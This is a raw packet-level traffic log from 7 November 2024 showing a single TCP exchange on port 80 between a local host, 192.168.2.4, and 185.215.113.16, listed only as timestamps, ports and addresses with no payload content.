Nov 7, 2024 06:01:12.626575947 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626580000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626591921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626605034 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626605034 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626616955 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626624107 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626631975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626646042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626647949 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626662970 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626669884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626677036 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626688004 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626698971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626703978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626713991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626724005 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626727104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626739979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626740932 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626753092 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626770973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626771927 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626781940 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626794100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626797915 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626806974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626820087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626827955 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626832962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626846075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626857042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.626859903 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626880884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.626899958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664150953 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664166927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664177895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664191961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664242029 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664283037 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664474964 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664488077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664531946 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664535999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664549112 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664561033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664573908 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664581060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664596081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664611101 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664657116 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664683104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664695024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664707899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664719105 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664721012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664735079 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664747953 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664761066 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664766073 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664778948 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664788008 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664793968 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664807081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664812088 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664819956 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664833069 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664843082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664844036 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664863110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664863110 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664877892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664890051 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664901018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664904118 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664915085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664930105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664932013 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664947987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664956093 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664961100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664973021 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.664978027 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.664992094 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665003061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665005922 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665014982 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665028095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665039062 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665047884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665051937 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665062904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665066004 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665079117 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665083885 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665091038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665102005 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665102959 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665117979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665129900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665136099 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665142059 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665153980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665167093 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665172100 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665179968 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665193081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665194988 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665205956 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665215015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665249109 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665251017 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665262938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665275097 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665301085 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665304899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665318966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665318966 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665330887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665348053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665376902 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665445089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665462971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665474892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665487051 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665488005 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665499926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665504932 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665518999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665524960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665530920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665544033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665554047 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665555954 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665572882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665575981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665585041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665596962 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665596962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665611029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665626049 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665627003 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665643930 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665662050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665663004 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665709972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665760040 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665771961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665782928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665795088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665807009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665822029 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665833950 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665833950 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665849924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665853024 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665862083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665874958 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665887117 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665899992 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665904999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665916920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665926933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665930033 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665939093 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665951014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665958881 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.665962934 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665976048 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.665980101 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666027069 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666050911 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666062117 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666073084 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666085005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666095972 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666098118 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666110039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666121006 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666131020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666131973 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666143894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666156054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666162968 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666168928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666182041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666182995 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666193008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666203976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666209936 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666222095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666250944 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666250944 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666264057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666270971 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666275978 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666289091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666301012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666311026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666313887 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666328907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666332006 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666342020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666353941 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666366100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666366100 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666383982 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666395903 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666402102 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666407108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666419029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666429043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666436911 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666446924 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666455030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666470051 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666476011 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666488886 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666500092 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666503906 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666512012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666518927 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666524887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666538000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666548967 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666549921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666563988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666579008 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666594028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666594982 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666609049 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666615009 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666621923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666632891 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666637897 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666647911 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666654110 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666660070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666671991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666682959 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666692972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666697025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666716099 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666716099 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666728973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666738987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666745901 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666759014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666769028 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666769981 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666790009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666800976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666810036 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666824102 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666835070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666835070 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666846991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666862011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666861057 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666879892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666887045 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666892052 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666903973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666917086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666917086 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666929960 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666939974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.666943073 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666955948 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666990042 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.666994095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667025089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667036057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667062998 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667094946 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667105913 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667117119 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667134047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667145967 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667151928 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667156935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667169094 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667181015 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667184114 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667192936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667202950 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667207003 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667221069 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667277098 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667282104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667293072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667305946 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667330980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667342901 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667344093 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667344093 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667344093 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667356014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667366028 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667368889 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667381048 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667385101 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667393923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667406082 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667435884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667475939 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667488098 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667500019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667511940 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667524099 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667551041 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667572975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667587042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667599916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667612076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667623043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667623043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667635918 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667642117 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667654991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667665958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667695999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667701960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667706966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667720079 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667731047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667732954 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667762041 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667889118 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667908907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667922020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667931080 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667933941 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667948008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667960882 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667983055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.667990923 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.667999029 CET	80	49797	185.215.113.16	192.168.2.4
